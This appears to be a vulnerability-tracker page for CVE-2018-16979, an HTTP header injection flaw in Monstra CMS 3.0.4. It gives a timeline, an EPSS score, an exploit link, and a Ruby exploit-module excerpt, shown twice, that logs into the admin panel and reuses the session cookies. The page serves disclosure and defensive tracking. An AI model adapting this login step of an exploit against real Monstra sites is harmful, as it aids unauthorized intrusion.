ExploitCVE-2018-16979
Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (CWE-113)
Published: Sep 12, 2018 / Updated: 73mo ago
010
No CVSS yetEPSS 0.12%
CVE info copied to clipboard
Monstra CMS V3.0.4 allows HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter, a related issue to CVE-2012-2943.
Timeline
First Article
Feedly found the first article mentioning CVE-2018-16979. See article
Sep 12, 2018 at 11:52 PM / cve.mitre.org
EPSS
EPSS Score was set to: 0.12% (Percentile: 45.5%)
Oct 17, 2023 at 11:45 PM
Affected Systems
Monstra/monstra
+null more
Exploits
https://github.com/howchen/howchen/issues/4
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Attack Patterns
CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies
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News
Monstra CMS 3.0.4 Remote Code Execution
\nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(uri, 'admin', 'index.php'), \n'vars_post' => { \n'login' => datastore['USERNAME'], \n'password' => datastore['PASSWORD'], \n'login_submit' => 'Log+In' \n} \n}) \ncookies = res.get_cookies \n \nfail_with(Failure::Unreachable, \"#{peer} - Did not respond to Login request\") if res.nil? \nres = send_request_cgi({ \n'method' => 'GET', \n'uri' => normalize_uri(uri, 'admin' '/index.php'), \n'cookie' => cookies \n}) \nfail_with(Failure::Unreachable, \"#{peer} - Did not respond to Login request\") if res.nil?
Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)
\nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(uri, 'admin', 'index.php'), \n'vars_post' => { \n'login' => datastore['USERNAME'], \n'password' => datastore['PASSWORD'], \n'login_submit' => 'Log+In' \n} \n}) \ncookies = res.get_cookies \n \nfail_with(Failure::Unreachable, \"#{peer} - Did not respond to Login request\") if res.nil? \nres = send_request_cgi({ \n'method' => 'GET', \n'uri' => normalize_uri(uri, 'admin' '/index.php'), \n'cookie' => cookies \n}) \nfail_with(Failure::Unreachable, \"#{peer} - Did not respond to Login request\") if res.nil?